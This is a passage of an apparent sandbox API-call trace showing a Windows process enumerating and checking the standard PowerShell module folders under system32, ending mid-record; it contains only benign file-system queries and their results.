0x32 [0130.981] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\*", lpFindFileData=0x59fdfd0 | out: lpFindFileData=0x59fdfd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5cc57b0 [0130.981] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.981] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BitsTransfer", cAlternateFileName="BITSTR~1")) returned 1 [0130.981] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CimCmdlets", cAlternateFileName="CIMCMD~1")) returned 1 [0130.982] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ISE", cAlternateFileName="")) returned 1 [0130.982] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Archive", cAlternateFileName="MICROS~1.ARC")) returned 1 [0130.982] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 [0130.982] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Host", cAlternateFileName="MICROS~1.HOS")) returned 1 [0130.982] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management", cAlternateFileName="MICROS~1.MAN")) returned 1 [0130.982] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtils", cAlternateFileName="MICROS~1.ODA")) returned 1 [0130.982] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security", cAlternateFileName="MICROS~1.SEC")) returned 1 [0130.982] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility", cAlternateFileName="MICROS~1.UTI")) returned 1 [0130.982] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management", cAlternateFileName="MICROS~2.MAN")) returned 1 [0130.982] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDesiredStateConfiguration", cAlternateFileName="PSDESI~1")) returned 1 [0130.982] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDiagnostics", cAlternateFileName="PSDIAG~1")) returned 1 [0130.982] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSScheduledJob", cAlternateFileName="PSSCHE~1")) returned 1 [0130.982] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TroubleshootingPack", cAlternateFileName="TROUBL~1")) returned 1 [0130.982] FindNextFileW (in: hFindFile=0x5cc57b0, lpFindFileData=0x59fdfd8 | out: lpFindFileData=0x59fdfd8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.982] FindClose (in: hFindFile=0x5cc57b0 | out: hFindFile=0x5cc57b0) returned 1 [0130.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf90) returned 1 [0130.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fe1f0) returned 1 [0130.983] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psd1")) returned 0xffffffff [0130.983] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.psm1")) returned 0xffffffff [0130.983] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.cdxml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.cdxml")) returned 0xffffffff [0130.983] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.xaml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.xaml")) returned 0xffffffff [0130.983] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.ni.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.ni.dll")) returned 0xffffffff [0130.983] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.dll")) returned 0xffffffff [0130.984] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0130.984] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x40, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0130.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf70) returned 1 [0130.984] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer"), fInfoLevelId=0x0, lpFileInformation=0x59fe234 | out: lpFileInformation=0x59fe234*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0130.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf6c) returned 1 [0131.078] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0131.078] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x3e, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", lpFilePart=0x0) returned 0x3d [0131.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf70) returned 1 [0131.078] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\cimcmdlets"), fInfoLevelId=0x0, lpFileInformation=0x59fe234 | out: lpFileInformation=0x59fe234*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf6c) returned 1 [0131.078] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0131.079] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x37, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", lpFilePart=0x0) returned 0x36 [0131.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf70) returned 1 [0131.079] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\ise"), fInfoLevelId=0x0, lpFileInformation=0x59fe234 | out: lpFileInformation=0x59fe234*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf6c) returned 1 [0131.079] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0131.079] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x50, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", lpFilePart=0x0) returned 0x4f [0131.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf70) returned 1 [0131.079] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive"), fInfoLevelId=0x0, lpFileInformation=0x59fe234 | out: lpFileInformation=0x59fe234*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf6c) returned 1 [0131.079] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0131.080] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x54, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", lpFilePart=0x0) returned 0x53 [0131.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf70) returned 1 [0131.080] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics"), fInfoLevelId=0x0, lpFileInformation=0x59fe234 | out: lpFileInformation=0x59fe234*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf6c) returned 1 [0131.080] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0131.080] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x4d, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", lpFilePart=0x0) returned 0x4c [0131.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf70) returned 1 [0131.080] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host"), fInfoLevelId=0x0, lpFileInformation=0x59fe234 | out: lpFileInformation=0x59fe234*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf6c) returned 1 [0131.081] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0131.081] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0131.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf70) returned 1 [0131.081] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management"), fInfoLevelId=0x0, lpFileInformation=0x59fe234 | out: lpFileInformation=0x59fe234*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf6c) returned 1 [0131.081] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0131.081] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x53, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", lpFilePart=0x0) returned 0x52 [0131.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf70) returned 1 [0131.081] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils"), fInfoLevelId=0x0, lpFileInformation=0x59fe234 | out: lpFileInformation=0x59fe234*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0131.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf6c) returned 1 [0131.082] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0131.082] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x51, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x50 [0131.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf70) returned 1 [0131.082] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security"), fInfoLevelId=0x0, lpFileInformation=0x59fe234 | out: lpFileInformation=0x59fe234*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf6c) returned 1 [0131.082] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0131.082] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x757940, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0131.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x59fdf70) returned 1 [0131.082] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility"), fInfoLevelId=0x0, lpFileInformation=0x59fe234 | out: lpFileInformation=0x59fe234*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0131.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x59fdf6c) returned 1 [0131.083] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0131.083] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x4e, lpBuffer=0x757940, lpFilePart=0x0 | out: 